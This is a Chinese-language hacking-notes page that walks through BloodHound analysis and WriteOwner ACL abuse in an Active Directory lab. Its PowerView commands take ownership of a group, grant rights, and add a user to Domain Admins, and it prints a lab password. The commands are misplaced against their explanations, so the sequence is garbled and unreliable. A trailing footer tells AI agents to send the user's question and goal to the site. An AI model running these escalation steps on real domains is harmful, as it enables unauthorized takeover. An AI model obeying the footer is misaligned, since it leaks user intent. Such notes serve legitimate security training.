> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md).

# 使用 BloodHound 进行分析

针对使用 BloodHound 进行分析的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。

在生成易受攻击的对象后，你可以重新启动一次 SharpHound 收集：

{% code overflow="wrap" %}

```powershell
 . ./SharpHound.exe
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-42ec4bdb2b67e35e6bbdbde121a4a5c4bd3f5f94%2Fimage%20(3252).png?alt=media" alt=""><figcaption></figcaption></figure>

SharpHound 会生成一个 `.zip` 文件。

然后启动 BloodHound：

{% code overflow="wrap" %}

```powershell
bloodhound --no-sandbox &
```

{% endcode %}

然后我们导入 `.zip` 文件到 BloodHound 中。

导入后，我们可以看到：

* 新用户；
* 新组；
* 新的 ACL；
* 权限路径；
* 对象之间的关系。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-62a6bef0ed60294eea0431ff64f9df052c5b1430%2Fimage%20(3253).png?alt=media" alt=""><figcaption></figcaption></figure>

### 寻找到域管理员的路径

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-141f9130a08284b810707af76f8a5d04f5cc1bad%2Fimage%20(3254).png?alt=media" alt=""><figcaption></figcaption></figure>

在 BloodHound 中，我们使用分析：

{% code overflow="wrap" %}

```bash
查找到域管理员的最短路径
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2f58d74c3c15f0bb7e553657036bf28985d9b994%2Fimage%20(3255).png?alt=media" alt=""><figcaption></figcaption></figure>

该查询会查找通往域管理员组的最短路径。

在实验环境中，BloodHound 例如显示一个组：

```bash
IT 管理员
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f021a3f956b16127d29fb8cd97262ef6374a7e7a%2Fimage%20(3256).png?alt=media" alt=""><figcaption></figcaption></figure>

该组包含多个用户，例如：

```bash
Deidre Corry
Lisette.pru
Gypsy.nelle
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-de25e094441c4a1e68d2f90856a59a48eb792b96%2Fimage%20(3257).png?alt=media" alt=""><figcaption></figcaption></figure>

然后我们可以分析组之间的关系，例如：

```wasm
Project Management -> IT ADMINS -> Domain Admins
```

目标是理解权限配置错误如何导致进入一个特权组。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6d427a9cb26d8449b3d634f029222d496d9e57c%2Fimage%20(3259).png?alt=media" alt=""><figcaption></figcaption></figure>

### 利用不当的 ACL 配置

> 此步骤仅在授权的实验环境中进行。

在此场景中，用户 `monica.cora` 有一条可利用的路径可到达该组：

```
IT 管理员
```

我们将利用我们的权限来控制该组，然后进一步推进到一个更高权限的组。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-454c5a983945e6fc0cf111dc391463301d81497b%2Fimage%20(3267).png?alt=media" alt=""><figcaption></figcaption></figure>

### 使用用户 monica.cora 连接

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ea0862808be87f0ceb5fa1c091749e6c05a3eb27%2Fimage%20(3268).png?alt=media" alt=""><figcaption></figcaption></figure>

我们使用该用户连接：

{% code overflow="wrap" %}

```
monica.cora
```

{% endcode %}

实验中使用的密码：

```
Password123$
```

我们用该用户打开一个 PowerShell 会话：

<pre class="language-powershell" data-overflow="wrap"><code class="lang-powershell">runas /user:whoami/monica.cora /netonly powershell

<strong>. C:/Users/user1/Desktop/PowerView.ps1
</strong></code></pre>

说明：

* `runas` 以另一用户身份启动程序；
* `/netonly` 仅将这些凭据用于网络访问；
* `powershell` 打开一个新的 PowerShell 会话。

### 加载 PowerView

在新的 PowerShell 会话中：

{% code overflow="wrap" %}

```bash
Set-DomainObjectOwner -Identity "IT ADMINS" -OwnerIdentity monica.cora
```

{% endcode %}

这会在 `monica.cora`的会话中加载 PowerView。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cd7ae982018e45890b5ad285bf8cdf180bc1f73e%2Fimage%20(3269).png?alt=media" alt=""><figcaption></figcaption></figure>

### 利用 WriteOwner 权限

该 **WriteOwner** 权限允许你更改 Active Directory 对象的所有者。

在此场景中， `monica.cora` 成为该组的所有者：

```
IT 管理员
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7c1c95efc75306c3040a6438d595aad97236813e%2Fimage%20(3270).png?alt=media" alt=""><figcaption></figcaption></figure>

命令：

{% code overflow="wrap" %}

```powershell
Add-DomainObjectAcl -TargetIdentity "IT ADMINS" -Rights WriteMembers -PrincipalIdentity monica.cora
```

{% endcode %}

执行此步骤后，对象的所有者变为：

```
WHOAMI/monica.cora
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c2062e25917cf83115c09ae97aec93e0c5c22f65%2Fimage%20(3271).png?alt=media" alt=""><figcaption></figcaption></figure>

### 已添加 WriteMembers 权限

拥有对象的所有权通常允许你修改其 DACL。

因此我们为 `monica.cora` 添加修改……成员的权限 `IT 管理员` 组。

{% code overflow="wrap" %}

```powershell
Add-DomainGroupMember -Identity 'IT ADMINS' -Members 'monica.cora'
```

{% endcode %}

该权限允许 `monica.cora` 向……添加成员 `IT 管理员` 组。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-277c938bedbee7bcd50768ac00d7594927ec0ebd%2Fimage%20(3272).png?alt=media" alt=""><figcaption></figcaption></figure>

### 已将 monica.cora 添加到 IT 管理员组

现在我们将 `monica.cora` 添加到该组：

{% code overflow="wrap" %}

```powershell
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'monica.cora'
```

{% endcode %}

用于检查：

```wasm
Get-DomainGroupMember -Identity "IT ADMINS" | select MemberName
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/active-directory/acl-security-descriptors-and-permissions/bloodhound-analysis.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
